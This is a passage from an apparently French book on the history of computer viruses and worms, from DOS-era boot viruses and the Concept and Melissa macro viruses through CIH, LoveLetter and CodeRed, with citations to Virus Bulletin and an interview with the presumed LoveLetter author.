Bien dautres virus sont crs ces annes l. Cest la course la sophistication : En octobre 1992, le virus systme EXEBug modifie la CMOS1 pour interdire le dmarrage sur disquette ; en dcembre 1992, Dark Avenger distribue Commander Bomber. Jusqu prsent, les virus positionnaient physiquement leur code avant ou aprs le code du programme originel (appending ou prepending virus) ; dautres se contentaient dcraser leur cible en prenant leur nom (overwriting virus). Commander Bomber insre son code une position choisie alatoirement. Avant dcraser la zone choisie, il la dplace en fin de fichier. Le saut vers son code se fait depuis le point dentre normal aprs une longue succession dinstructions sans intrt (junk code) destine tromper les anti-virus2 ; au dbut 1993, BatMan devient le premier virus rsidant en mmoire ciblant les fichiers de commandes (.bat, type batch). Il est capable dinfecter dautres fichiers du mme type. la mme poque, Tremor devient le premier rtro-virus. Avant dcrire le virus, son auteur, un allemand au pseudo de Neurobasher prit le temps de dsassembler divers anti-virus. Le virus est en effet capable de dsactiver le module rsident de VSAFE (Central Point Anti-Virus) et de modifier son emplacement en mmoire si F-PROT tait lanc simultanment3. Fin 1993, Arj-virus dmontre quil est possible dinfecter un fichier lintrieur dune archive. En janvier 1994, Eugne Kaspersky reoit un virus capable dinfecter les fichiers objets (.obj) pr-excutables. Ces fichiers sont les intermdiaires entre les fichiers sources du programmeur et lexcutable produit par lditeur de lien (linker)4. Surnomm Shifting Objectives, le virus infecte les fichiers assigns la cration des .com. Selon un principe similaire, des virus sattaquant directement aux fichiers sources des compilateurs C et Pascal sont aussi rencontrs la mme poque5. En octobre 1994, un virus capable dinfecter le fichier systme io.sys (ou son quivalent ibmbio.com) est dcouvert Moscou. Il sagit du premier virus sattaquant aux routines BIOS du DOS. Il est baptis 3APA3A ; il faut prononcer Zaraza, qui correspond en russe au terme infection. Polymorphique et difficile radiquer, il se propage via les changes de disquettes6.
1. CMOS : Sigle de semi-conducteur doxyde de mtal complmentaire (Complementary Metal Oxide Semiconductor). Dans les ordinateurs, les puces de mmoire CMOS sont souvent utilises pour lenregistrement en mmoire non volatile des donnes dinitialisation. 2. VB, 1992a, Commander Bomber, Virus Bulletin, dcembre 1992, pp10-11. 3. BATES, Jim (1993), Tremor A Shaky Start for DOS 6 ?, Virus Bulletin, mars 1993, pp 10-11. 4. KASPERSKY Eugne (1994), Shifting Objectives, Virus Bulletin, mars 1994, pp11-12. 5. KASPERSKY Eugne (1994), Lock up your Source code!, Virus Bulletin, juin 1994, pp 10-11. 6. KASPERSKY Eugne (1994), 3APA3A: The IO.SYS Hunter, Virus Bulletin, novembre 1994, pp 9-10.
63
En septembre 1995, Rainbow rend tout PC infect totalement inaccessible depuis un environnement sain. Il exploite une vulnrabilit du DOS. Grce une chane hexadcimale particulire positionne dans la table de partition, il devient impossible de dmarrer la machine depuis une disquette saine. Le processus dabouti pas et la machine reste fige sans atteindre le prompt DOS1. Avant lui, en 1993, Monkey utilisait une autre technique moins sophistique : le dmarrage depuis une disquette saine aboutissait, mais le disque dur tait invisible. Il fallait latteindre en mode physique pour rtablir correctement la dfinition des disques logiques. En juillet 1993, la premire WILDList est poste par Joe Wells. Dix chercheurs y annoncent les 47 virus quils ont effectivement rencontrs en dehors de leurs laboratoires ou de leurs zoos. Lexpression in-the-wild est ne !
En mars 1994, Virus Bulletin annonce la dcouverte dun nouveau virus en Grande Bretagne3. Dnomm SMEG-Pathogen, il a t dcouvert in-the-wild. Destructeur et hautement polymorphique, il contient divers subterfuges rendant sa dtection difcile. Il est sign Black Baron. Le New Scotland Yard arte un suspect Plymouth ; cest un chmeur britannique de 26 ans du nom de Christopher Pile. Il reconnat les faits, le 26 mai 1995, il est reconnu coupable et condamn 18 mois de prison4.
1. KAMINSKY Jakub (1995), Rainbow : To Envy or to Hate, Virus Bulletin, septembre 1995, pp 12-13. 2. VB, 1992b, The ARCV, Virus Bulletin, novembre 1992, pp 3-4. 3. VB, 1994a, Pathogen Virus Warning, Virus Bulletin, mars 1994, p 3. 4. VB, 1995, Black Baron Pleads Guilty, Virus Bulletin, juin 1995, p 3.
64
65
En octobre 1994, je rejoignais la petite quipe de VIF/ASSURDATA. Ctait elle qui, en France, diffusait les produits McAfee. Avec Marius Van Oers (McAfee Hollande), nous sommes les deux premiers europens rejoindre AVERT. Les virus de macros font leur apparition durant lt 1995. Comme nous avons dit prcdemment, lide nest pas nouvelle, mais cette mise en circulation contraint les entreprises rviser leur politique de scurit. En effet, il leur faut intgrer le fait que les virus ne se propagent plus exclusivement via un programme excutable mais aussi par le biais de chiers bureautiques que lon avait tendance considrer comme de simples chiers de donnes.
2.12.1 WM/Concept
Le virus est dcouvert en aot 1995 par Sarah Gordon (Command Software Systems)1. Il nest pas plus dangereux que les autres mais il utilise un nouveau type de transport : les documents Word. Le virus se prsente sous la forme de plusieurs macros cres en Word Basic. Lune dentre elle sexcute automatiquement louverture du document. Une autre permet linfection de tout nouveau document sauvegard. Le virus fonctionne avec Word, aussi bien sous DOS, sous Windows que sous Macintosh (versions 5, 6 & 7). Jimmy Kuo alors directeur du groupe AVERT de McAfee propose le nom de Concept. La rumeur prtend que le virus a t diffus accidentellement par Microsoft2. Le nom dalias Prank (escapade en anglais) aurait dailleurs t choisi par cette socit an desprer diminuer limportance de laffaire. Cest dans un document de type FAQ3, crit par Richard John Martin, que lon trouve linformation la plus dtaille4. Dans lurgence, et alors que dautres macro-virus apparaissent, Microsoft livre un correctif nomm ScanProt. Lintention originelle tait la protection contre Concept.A et la mise disposition dun mcanisme dalerte pour les utilisateurs ouvrant un document contenant des macros. Bien involontairement, les diverses versions de ScanProt participrent la propagation des virus en vhiculant certains dentre eux. Le compagnonnage entre un virus existant et ScanProt aboutit mme par la cration de variantes. Les concepteurs de produits anti-virus ne recommandrent pas la solution ScanProt. Ils modirent leurs produits en y intgrant des solutions applicables tout nouveau virus crit en Word Basic.
1. GORDON Sarah, (1995b), What a (Winword) Concept, Virus Bulletin, septembre 1995, pp 8-9. 2. VB, 1995a, Winword.Concept, Virus Bulletin, octobre 1995, p 3. 3. FAQ : Frequently Asked Question. 4. MARTIN, Richard John (1996), MS WORD 6.x MACRO VIRUSES FAQ V2.0 for the ALT.COMP.VIRUS Newsgroup. Document disponible ladresse : http://www.textles.com/virus/ wordmacro.txt.
66
Also known by the Aliases of WW6Macro, WinWord.Concept, Word Basic Macro Virus (WBMV), Word Macro 9508 <MAC> and Prank Macro <MicroSoft named it Prank, to downplay the seriousness of the situation>. This was the first MS Macro Virus to be detected by the Anti-Virus community, and the first Macro Virus to be considered in the wild, with infections spreading to the US, UK, France, Germany, Bulgaria, Canada, the Netherlands, Turkey, and Finland, and other Countries. The proliferation of this virus is widespread, mainly due to 2 companies ACCIDENTLY shipping this virus in infected documents found on their CD-ROMS. The first CD-ROM was MicroSoft Windows 95 Software Compatibility Test which was shipped to thousands of OEM companies in mid 1995. In August/September Microsoft distributed the Concept virus on a CD-ROM in the UK called "The Microsoft Office 95 and Windows 95 Business Guide" The infected file is \Office95\Evidence\Helpdesk.DOC, dated August 17th, 1995, <121,856 bytes> The third CD was Snap-On Tools for Windows NT which was distributed by ServerWare, who immediately withdrew it, warned recipients, and re-mastered it. MicroSoft Corp. is to be commended for acknowledging their part in the spreading of this new virus, <calling it a PRANK> and their effort in controlling the spread of it. They were quick to respond to this new Virus threat with a Macro Scanner/Cleaner which is available freely for download from MSN and associated services. <Note: its buggy>
Figure 2.1 Lorigine suppose de Winword.Concept
1. PE est labrviation relative au format des chiers excutables 32-bits de Windows (Portable Executable). 2. VB, 1995d, Hot 95 : New Kids on the Block, Virus Bulletin, fvrier 1995, pp 15-16.
67
Avec toute une srie de tutoriaux, le code source du virus fut prsent dans le numro 6 de VLAD. Dans le numro suivant, Quantum prsente le premier virus ciblant Linux. Il le dnomme Staog et ne fonctionne que sur des machines possdant un noyau 1.2.13. Cest un virus crit en assembleur. Rsident en mmoire, il infecte les chiers au format ELF1 ds quils sont excuts. Les premiers virus ciblant le systme dexploitation OS2 voient aussi le jour en juin 1995 (OS2/DA, OS2rst et OS2/DA.Jiskefet). Souvent annonc comme le premier virus li ce systme dexploitation, OS2.AEP napparatra quun an plus tard.
68
En juin 1997, une autre technique dinfection voit le jour. W97M/Class najoute pas de module VBA5 ; il positionne son code dans le module prexistant : ThisDocument. 2 ans aprs WM/Concept, le cap des 1000 macro-virus est atteint. Cherchant contrer leur propagation, Microsoft sort un correctif. Microsoft Ofce 97 Service Release 1 (SR-1) neutralise certains processus de propagation virale. En Avril 1998, W97M/Groov devient le premier virus anti-SR-1.
Tableau 2.1 volution du nombre de macro-virus daprs les diverses Macro Virus List prpares par Vesselin Bontcheva Date Aot 1995 Juillet 1996 Dcembre 1996 Juillet 1997 Dcembre 1997 Avril 1998 Dcembre 1998 Juin 1999 Septembre 1999 Mai 2000 Dcembre 2000 Juin 2001 Septembre 2001 1 27 84 253 317 383 533 703 775 946 1048 1106 1134 Nombre de familles 1 35 205 1193 1826 2306 3333 4132 4593 5664 6488 6831 6855 5 10 11 12 13 17 17 17 55 Nombre de virus Nombre de gnrateurs
a. BONTCHEV Vesselin (1996-2001), Macro Virus List. Documents disponibles ladresse : ftp://agn-www.informatik.uni-hamburg.de/pub/texts/macro/.
Toute la suite Ofce de Microsoft est bientt atteinte dans ses diffrentes versions. Malgr quelques tentatives, les autres plates-formes telles que Lotus ou Corel ne seront jamais une vritable cible. Les auteurs de virus prfrent sacharner sur le leader mondial. Au cours de ces annes, la principale surprise vient de France, en janvier 1998. Elle se nomme XF/Paix. Cest un virus qui utilise le langage des formules propre Excel 4.0. Bien que faiblement document, il est toujours prsent dans les versions
69
suivantes dExcel. Le virus nutilise pas de macro, mais des formules positionnes dans les zones de donnes dune feuille de calcul quil cre et maintient invisible aux utilisateurs. Le virus se manifeste de faon alatoire : 1 chance sur 100. Il bloque alors la session de travail Excel en afchant une fentre intitule Enn la Paix Entre 1996 et 1998, les virus systme disparaissent petit petit. Alors quils reprsentaient 80 % environ des alertes virales recenses en 1995, la tendance sinverse en faveur des macro-virus qui, en 1998, constitueront plus de 80 % des alertes.
Tableau 2.2 Principaux virus rencontrs en France de 1996 1998 1996 (de janvier septembre) JUMPER-B INT-AA FORM ANTIEXE PARITY BOOT STONED SPIRIT ANTICMOS WM/CONCEPT JUNKIE MONKEY Boot Boot Boot Boot Boot Boot Boot Macro Boot Boot 1997 WM/CAP WM/NPAD WM/MDMA WM/WAZZU JUMPER.B FORM PARITY BOOT ANTIEXE Macro Macro Macro Macro Boot Boot Boot Boot 1998 WM/WAZZU.EC WM/CAP WM/WAZZU.DO WM/INEXIST W32/HLLP.DE TROIE XF/PAIX JUMPER.B FORM PARITY BOOT Macro Macro Macro Macro Fichier Formule Boot Boot Boot
70
La version 3 vint en 1997. Cette mme anne, en dcembre, tait scelle la naissance de Network Associates1 issue de la fusion des socits McAfee Associates et Network General. Moins dun an plus tard, le 9 Juin 1998, NAI procdait lacquisition de Dr Solomon Corp. Ce regroupement marqua un tournant incontestable et permit VirusScan de devenir lun des meilleurs produits du march.
1999 Q1 31 52 Q2 77 Q3
Lune des stars de lpoque resta dans les TOP-10 jusquen 2003, il sagit de W95/ CIH. Les initiales du virus sont celles de son auteur (Chen Ing-hau). Le virus est aussi connu comme le virus Tchernobyl en rfrence a la date de son dclenchement : le 26 avril, date anniversaire de la catastrophe nuclaire. Le virus apparat la mi-juin 98 Taiwan. Des groupes de pirates et quelques sites commerciaux sont infects et comme nous lavons vu le virus se propage alors via des jeux et des magazines. Plus tard, en mars 1999, des ordinateurs neufs Aptiva, vendus par IBM, colporteront galement le virus.
1. Chacun sait que lhistoire est un ternel recommencement. Le 7 juillet 2004, la socit reprit son nom dorigine pour se concentrer sur le dveloppement de systmes de prvention dintrusion tout en continuant dvelopper et vendre ses solutions antivirales. 2. Virus Bulletin, 1998. Anti-CIH-pating the Future, Aot 1998, p2. Marburg Follow-up, Aot 1998, p3. More-burg, Septembre 1998, p4. CD Coverage, Octobre 1998, p2.
71
Mme sil ninfecte que les chiers .exe de Windows 95 et 98, le virus est particulirement dangereux. Quand il active sa gchette, en gnral le 26 avril, il crase une partie du disque et dtriore le contenu de la mmoire ash de certains Pentium. En rcrivant un octet dans le block de dmarrage de ceux-ci, les machines deviennent inutilisables jusqu la rinitialisation du BIOS. La variante la plus courante contient le texte CIH v1.2 Il sagit de W95/ CIH.1003. Bien dautres variantes ont ensuite vu le jour ; citons : W95/CIH.1010.A et W95/CIH.1010.B qui sactivent le 26 juin et contiennent le texte CIH v1.3 TTIT. W95/CIH.1019 qui sactive le 26 de chaque mois et contient le texte CIH v1.4 TATUNG.
1. MUSSTOPF G, (1999), A New Type of Viruses, or Looking Back in Rage at ?, EICAR News, janvier 1999, Volume 6, numro 1.
72
En cette n de sicle, lutilisation des disquettes se rare ; les changes informatiques par e-mail prennent le relais et les virus sengouffrent eux aussi dans cette nouvelle voie. Ces nouveaux venus que lon nommera plus tard mass-mailers vont tout dabord se propager par lentremise dune pice jointe ; ils sauront vite sen dispenser.
2.13.1 Happy 99
Le premier virus mondialement connu qui exploite la messagerie lectronique apparat en janvier 1999. Il est franais et le public le surnomme Happy-99. Son nom officiel est W32/Ska@M. Il arrive en tant que pice jointe et, une fois install sur la machine, sexpdie de lui-mme comme un doublon, chaque fois quun courrier est mis vers un destinataire. Lanimation mise en uvre lors du double-clic sur la pice jointe infecte reprsente un feu dartifice. Il lui faudra plus de 6 mois pour faire son premier tour du monde. Un an aprs sa mise en circulation, W32/Ska@M faisait toujours parti du TOP-10 mondial. Son auteur, Spanska, est franais. Il en explicite le code dans le numro 4
73
de la publication lectronique du groupe 29A. Dans un texte de plusieurs pages en anglais, il tente galement de se justier. Jen ai retenu, puis traduit, le contenu suivant : Cest un virus car il infecte wsock32.dll. Cest un ver car il se propage via le courrier lectronique et les groupes de discussion. Cest un cheval de Troie car il cache sa vraie nature et exige une certaine participation de la part de lutilisateur cibl. Jai conu ce code la suite dun constat manifeste: de nos jours, les gens changent plus de courrier lectronique via Internet que de programmes ou de disquettes. Si nous souhaitons obtenir le plus grand nombre dinfections dans la nature, nous devons revoir nos techniques actuelles. Lunit minimale dinfection ne stablie plus au niveau de lexcutable mais au niveau de la machine interconnecte. Il nest nullement utile dinfecter 500 fichiers sur une mme machine. Un seul suffit. Pensez alors tous les nouveaux venus sur lInternet, tous ceux qui ont achet un ordinateur pour Nol, et qui ignorent tout de la scurit. Ces victimes parfaites forment un groupe suffisamment grand pour esprer une infection massive. Jaffirme que les virus utilisant Internet seront les programmes autoreproducteurs de demain. En effet, 1999 fut lanne des vers. Mon virus est conu pour ne rien dtruire sur les machines infectes. Il sagit juste dun sympathique autostoppeur qui utilise votre connexion Internet pour voyager. Pour vous remercier du voyage, il vous offre une petite animation. Jai mme pris soin de rendre ce ver trs facile liminer par un utilisateur de comptence moyenne nayant pas dantivirus. Ceci est en contradiction avec les rgles gnrales lies lcriture des virus. Pour moi, Happy est un morceau de code exprimental, qui savra fonctionner tonnamment bien, encore mieux que je le pensais. lpoque ou jcris ceci, Happy99 a un an dage. La chose drle, cest quil continue se propager, mme sil le fait plus lentement. Cest vraiment fascinant de constater que toutes ces infections sont issues de 4 ou 5 courriers envoys de pauvres victimes soigneusement choisies aprs avoir tudi, durant une semaine, leur comportement dans les groupes de discussion et de cyberbavardage ou ils taient rgulirement prsents (fondamentalement, leur connaissance informatique tait faible, ils taient curieux, aimaient changer des cartes postales lectroniques ou des plaisanteries: il tait alors trs facile de les amener excuter Happy par le biais dun social engineering basique). Parfois je souhaiterai connatre le cheminement total de linfection, comprendre comment toutes ces ramifications ont dmarr et se sont dveloppes, apprhender chacun des courriers changs et suivre lintgralit du parcours qui permit certains dentre eux de me revenir la fin de leur priple. Il est fascinant pour penser aux voyages dHappy tandis que des ides sont changes par des personnes au travers le monde. Cest comme un petit morceau de bois drivant sur le flot des informations et suivant les routes mises sa disposition. Vous pouvez rire, mais je trouve ceci trs potique. Mais tout cela dmontre une autre chose. Les virus nont pas besoin dtre trs complexes pour tre efficaces. Techniquement parlant, Happy99 est trs simple. Pas de
74
cryptage, pas de polymorphisme, aucune complexit pour se maintenir rsident en mmoire, aucune astuce particulire. Fondamentalement, il sagit juste dune dll stupide, implante dans le systme par un dropper pour dtourner certaines API wsock32. Cest tout.
2.13.2 Melissa
En 1997, Dr Solomons Software mettait en service un outil de recherche automatique de virus intitul Virus Patrol. Toujours en service, ce robot, analyse en permanence les contributions USENET et examine celles qui contiennent du code excutable. Le rsultat est mis la disposition de la communaut anti-virale qui intgre ainsi de nombreux nouveaux virus ou chevaux de Troie chaque mois. Cest ainsi que fut dcouvert sur un NewsGroup caractre sexuel, le vendredi 26 mars 1999, un chier list.doc suppos contenir une liste de mots de passe permettant datteindre gratuitement des sites pornographiques normalement payants. Dans une belle unanimit, lensemble des professionnels se mit au travail et proposa dans les heures qui suivirent des mises jour pour la dtection et pour lradication de ce nouveau venu. Protant de ce rpit et utilisant une nouvelle technique de propagation le virus t rapidement le tour de la plante. Lalerte passe, tout le monde sest accord pour dire navoir jamais rencontr jusque l, un virus se propageant aussi rapidement. Le virus fut baptis W97M/Melissa. Il se prsentait sous la forme dun chier attach se propageant automatiquement via Outlook-98. Le sujet du message tait : Important Message From <nom> Ou <nom> tait le nom complet de lutilisateur qui tait cens en tre lexpditeur. Le corps du message contenait : Here is that document you asked for dont show anyone else ;-) son ouverture, le virus interrogeait la liste des contacts du Carnet dAdresse Global et gnrait un message quil envoyait simultanment aux 50 premires personnes de cette liste. Plusieurs commentaires intrigurent les chercheurs, lun deux, inscrit dans le code, disait : WORD/Melissa written by Kwyjibo. Works in both Word 2000 and Word 97. Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide! Word -> Email | Word 97 <--> Word 2000 its a new age! Si un chier infect tait ouvert alors que les minutes de lheure taient gales au jour du mois le texte suivant tait insr dans le document courant :
75
Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Games over. Im outta here. On dcouvrit vite que les noms Kwyjibo et Outa taient ceux de personnages de la srie TV : Les Simpsons. Une fois dmasqu, lauteur prsum indiqua que le nom du virus lui avait t inspir par une strip-teaseuse de Floride quil admirait Grce aux informations fournies par Virus Patrol, la traque ne dura que quelques jours. Les soupcons se conrmrent lorsque les enquteurs comparrent le GUID (Global Unique Identier) de lordinateur du suspect avec celui enregistr dans le chier original diffus sur Internet. Lide avance par Microsoft aprs la dcouverte de lexistence de cet identiant par Robert Smith1 2 tait damliorer le service en facilitant le travail des supports techniques et des outils de mise jour automatique. Les vives critiques mises lencontre de Microsoft ont depuis entran sa suppression des divers documents crs depuis la suite Ofce. David L. Smith, g de 30 ans, fut arrt dans le New Jersey (tats-Unis) par les autorits fdrales le 1er avril 1999. Sa condamnation fut prononce en mai 2002. Une premire peine, de 20 mois de prison, fut mise par un juge fdral. Une seconde, de dix ans demprisonnement, le fut par un tribunal du New Jersey. En dnitive, David Smith ne purgera que la premire peine. Ce GUID t couler beaucoup dencre. De nombreuses personnes recherchrent dans danciens virus cette mme signature. On souponna rapidement David de stre cach sous le pseudonyme de Vicodines, auteur de nombreux virus dont W97M/ Class.A. Mme si aucune preuve formelle na pu tre apporte publiquement, il semble acquis aujourdhui que ces 2 personnes nen font quune.
2.13.3 LoveLetter
En mai 2000, VBS/LoveLetter.A@MM3 semait une panique plantaire. Connu galement sous le nom de I Love You ou de Love Bug, il fut cr aux Philippines. Selon certaines sources, 45 millions de mails infects circulrent en un mois4 et, durant cette priode, 2 3 millions de personnes auraient cliqu sur la pice jointe en infectant leur machine et en participant la propagation gnrale.
1. MARKOFF, John (7 mars 1999), Microsoft to Alter Software in Response to Privacy Concerns. Document disponible ladresse : http://www.nytimes.com/library/tech/99/03/biztech/articles/07soft.html. 2. Robert Smith, ne pas confondre avec David, lauteur de Melissa ! 3. FITZGERALD, Nick (2000a), When Love came the Town, Virus Bulletin, juin 2000, pp 6-7. 4. Les chiffres les plus alarmistes annoncent 40 millions dordinateurs : (http://www.kasperskylabs.com/news.html?id=101).
76
La premire socit anti-virale recevoir le virus tait situe aux Philippines. Il tait en France 1 h du matin; ctait le 4 mai 1999, dans la nuit du mercredi au jeudi. Rien dalarmant cependant ne se produisit avant 7 h ; mais, vers 10 h, de nombreux groupes de discussion taient envahis et le virus sattaquait paralllement au courrier lectronique. Sil fallut plus de 6 mois W32/Ska@M et 2 jours W97M/Melissa.A@MM pour faire son tour du monde, quelques heures sufrent ce dernier. Ma premire alerte en France survint vers 9 h 45; ce grand compte franais comptabilisait dj 4.500.000 mails infects. Ce jour l certains supports techniques europens reurent entre 6000 et 10000 appels. Devant linsistance des journalistes, le CLUSIF annona (trop rapidement) que seul 10 % des grands comptes franais avaient t srieusement touchs. Pour ma part, jestime que 70 80 % des entreprises franaises ont rencontr le virus. Mme sans rel dommage, elles ont t perturbes. Nombre dentre elles ont ferm leur messagerie pour un ou plusieurs jours. La soudainet de lalerte a entran lactivation de procdures durgence. Beaucoup dentreprises ne semblaient pas tre prpares cela. Ils mconnaissaient parfois les procdures automatiques de tldistribution des mises jour. Cet tat de fait a sans aucun doute aggrav les perturbations et les pertes nancires. Pour certains, les pertes annonces semblrent exagres : 47 milliards de Francs, 900 Francs par PC infect. Elles intgraient tous les frais annexes dont le temps perdu li larrt des messageries et lintervention des techniciens. Mme le temps pass raconter sa propre exprience sur son lieu de travail fut comptabilis. Son auteur prsum, Onel de Guzman, un tudiant en informatique de lAma Computer College, fut arrt quelques jours plus tard, puis libr en labsence de loi locale rprimant ce type dactivit. Le dpartement de justice de son pays estima quaucune charge ne pouvait tre retenue contre lui. Le 13 juillet 2000, une dpche indiquait quil tait embauch Manille par une socit britannique implante dans le quartier daffaires de Makati. Dans son numro 529 (21 dcembre 2000), la revue Courrier International reprit un article du Panorama de Milan ; le journaliste Cristiano Bortone1 y interroge le suspect qui dfend le principe dun accs universel et gratuit. Il dnonce aussi la mainmise des grands groupes informatiques : Q : Internet peut-il vraiment servir amliorer les conditions de vie dans les tats pauvres ? R : Ici, aux Philippines, il y a tellement de gens qui nont rien ! Comment peut-on penser Internet quand on a peine de quoi manger ? Ainsi, comme sujet de mmoire, javais pens une rflexion sur le moyen de garantir laccs gratuit Internet pour
1. BORTONE Cristiano (21/12/2000), Le pirate qui voulait dire I love you , Courrier International. Numro 529. Document disponible ladresse : http://www.courrierinternational.com/numeros/529/052908301.asp?TYPE=archives.
77
tous. Avec la navigation gratuite, ce ne serait plus forcment ncessaire daller lcole, parce que le rseau est en mesure de fournir tous les moyens dducation. Les gens pourraient viter davoir payer des droits dentre luniversit (dans notre pays, ils sont trs levs). On naurait plus besoin de sinscrire que pour quelques matires pratiques ; le reste, on lapprendrait avec Internet. Mais les polmiques dclenches par mes propositions aprs lexplosion du virus "I love you" ont t pour moi un vritable choc. Je ne mattendais pas un tel toll. Q : Aprs laffaire "I love you", les Philippines ont vot prcipitamment une loi sur les crimes informatiques. Pensez-vous quelle puisse limiter le dveloppement du Net ? R : Je pense que le principe dune loi qui rglemente lutilisation du rseau est juste. Mais tout ce qui limite lutilisation dInternet en limite aussi forcment le dveloppement. Cest ce qui va se passer ici. Lorsque la loi sera promulgue, les possibilits dapprentissage et de recherche seront de fait limites. Dans le domaine de la scurit, par exemple : partir du moment o la loi interdit dtudier les virus, mme ceux qui existent dj, elle impose une limite lvolution de nouveaux programmes, qui ne sont pas ncessairement destructeurs. Q : Mais la Toile est-elle aujourdhui vritablement aussi vulnrable ? R : Bien sr. Aujourdhui, Internet fournit et enseigne quasiment tout : comment on y entre, comment on y navigue, comment faire du hacking. Tout cela est archi-connu. Il y a ceux qui fournissent sans problme tous les instruments pour casser les codes et les barrires daccs cest relativement simple. Mais il y a aussi une autre vrit, que personne ne dit : aujourdhui, Internet est utilis principalement pour faire des affaires, de largent. Alors, beaucoup de socits informatiques abaissent volontairement les barrires de scurit. Si la scurit est faible, les hackers trouvent plus intressant de construire leurs propres programmes en utilisant ce systme. Mais, en mme temps, sans le savoir, ils laident voluer. Lexemple typique est celui de Microsoft, qui, pendant des annes, sest amlior prcisment avec laide des hackers. Linux, au contraire, dcourage les pirates avec une scurit trop stricte et a fini par rester en arrire. mon avis, les hackers sont aujourdhui la future gnration de programmeurs. Reste le fait que certains pourraient profiter de la faiblesse du rseau pour lancer des attaques politiques ou terroristes. Tout le monde, au-del des apparences politiques ou idologiques, pourrait faire quelque chose de ce genre. Il suffit dune bonne connaissance de lordinateur et peu importe si la personne est un terroriste la solde de tel ou tel gouvernement ou un simple tudiant. Quant aux vrais hackers, je ne crois pas quils aient pour de bon lintention de nuire. Leur seule erreur est davoir une grande envie dapprendre et de dcouvrir de nouvelles frontires. Q : Comment tait lambiance lAma Computer College, votre universit ? R : LAma savait se vendre comme une cole de grande qualit. Mais, une fois que jy suis entr, je me suis aperu que lenseignement tait lmentaire et ne convenait pas aux tudiants avancs comme moi. Mes camarades taient des dbutants, les professeurs extrmement jeunes. Pendant cinq ans, je ny ai pas attach dimportance : mon but tait dobtenir un diplme. Les choses qui mintressaient, je continuais les apprendre tout seul.
78
Q : Qui taient les Grammersoft ? R : Les Grammersoft ! Ils sont im-menses ! Ils sont uniques. Je crois que jai t la dernire recrue du groupe. cette poque, jtais encore un dbutant, et lide de partager toutes les connaissances informatiques avec des gens aussi forts ma emball. Q : Comment ce groupe fonctionnait-il ? R : On la dcrit comme un cercle clandestin. En ralit, ctait une simple bande damis. On se disait tout ce qui nous passait par la tte, on samusait, on se moquait les uns des autres, sans problme. Nous tions vraiment forts. Nos recherches en informatique taient sans limites. Q : Ladministration de lcole tait-elle au courant de lexistence de ce groupe ? R : Bien sr ! Nous, les Grammersoft, tions clbres sur tout le campus comme rdacteurs de thses : nous aidions les tudiants en difficult les crire. Aprs "I love you", tout a chang. Q : En quel sens ? R : Eh bien, avant ce fameux 4 mai, je voyais presque tous les jours les Grammersoft et ma petite amie. Je passais la journe me promener dans les centres commerciaux. Personne ne me connaissait, ni ne marrtait en disant dune voix forte : "Eh toi ! je te connais, tu es celui qui a mis un virus dans les ordinateurs." Maintenant, je reste presque tout le temps la maison. La seule chose qui compte pour moi, cest de prsenter un autre mmoire lAma et dobtenir mon diplme, comme me la toujours conseill ma mre. lpoque de cette interview, plus de 60 variantes du virus taient rpertories. Limplmentation immdiate de modules de dtection gnrique ou heuristique permit cependant de dtecter la majorit dentre-elles ds leur apparition.
79
Le virus sintgre alors comme signature par dfaut dOutlook Express. Il est ainsi rexpdi avec tout nouveau mail. Lauteur du virus ne fut jamais ni recherch, ni inquit alors que Kak grimpa mois aprs mois les chelons des TOP-10 mondiaux.
2.13.5 VBS/Timofonica
LoveLetter fit beaucoup dmules et les virus de script se propageant via le courrier lectronique et le carnet dadresses Outlook furent vite lgion. En juin 2000, VBS/Timofonica@MM nest quun mass-mailer de plus. Il retient cependant lattention du public car il est capable denvoyer des messages SMS (Shorts Messaging Service) aux utilisateurs du service de portable espagnol Telefonica sils sont abonns au service correo.movistar.net. Chaque numro est choisi alatoirement ; la slection dmarre par le choix dun prxe tir dans une liste 8 entres. Le virus ajoute ensuite 6 nombres au hasard puis envoie un minimessage en espagnol dnigrant la compagnie Telefnica. Le sujet du message tait TIMOFONICA. Le terme timo voulant dire tricherie en espagnol, on comprend alors le choix de lauteur.
80
Plus complexes, ces virus mettrent en uvre des processus rendant plus difcile la dtection. Au travers dun mme chier, ils peuvent largir leurs techniques de propagation. Chaque mois, de nouvelles vulnrabilits sont mises jour. Les auteurs de virus ne les dcouvrent pas eux-mmes mais sempressent de les utiliser ds quelles sont divulgues. Elles ne sappliquent gnralement pas aux virus changs par courrier
81
lectronique qui restent de conception banale. Elles donnent, par contre, naissance de vritables vers dans la ligne de ceux des annes 80. Le premier dentre eux, W32/CodeRed.worm.A voit le jour en juillet 20011. Uniquement en mmoire dans sa version initiale, il infecte, en 24 heures, 350.000 machines autour du monde. Cest beaucoup plus que Loveletter dans le mme laps de temps. Un an et demi aprs, le 25 janvier 2003, apparat W32/SQLSlammer.worm2. Les leons apprises nont pas vraiment servi. Le patch de scurit bloquant la faille est connu depuis juillet 2002 mais de nombreuses machines sont toujours vulnrables. En 10 minutes, 90 % de ces machines sont atteintes. Selon les sources cest entre 75.000 et 350.000 ordinateurs qui furent infectes. Le chiffre le plus lev est sans doute le plus probable. En septembre 2001, W32/Nimda@MM3 est le premier virus pouvant se prvaloir du titre de virus Internet. Ses modes de propagation multiples lui permettent une propagation optimale via, la messagerie, les serveurs IIS4, les partages rseaux et au travers des consultations web. Il infecte les serveurs mais galement les stations de travail. Cette priode est galement celle des premiers virus lis au mode dchange poste poste (P2P peer to peer). En 2000 et 2001 quelques tentatives isoles avaient cibl Gnutella sans grand succs. la n 2004, plusieurs milliers de ces virus sont connus. Le premier de cette nouvelle vague, en mai 2002, fut baptis W32/Benjamin.worm. Toutes ces nouveauts saccompagnent dun changement majeur qui passe un premier temps inaperu du public. De nombreux virus tels que W32/Sircam@MM et W32/Bugbear@MM, transportent des portes drobes et des outils de collecte dinformation. Il faudra attendre lt 2003 pour en mesurer lampleur.
1. Vulnerabilit MS01-033. 2. Vulnerabilit MS02-039. 3. Vulnerabilits MS01-20 et MS01-44. 4. IIS : INTERNET Information Server. Serveur web dvelopp par MICROSOFT et totalement intgr Windows.
82
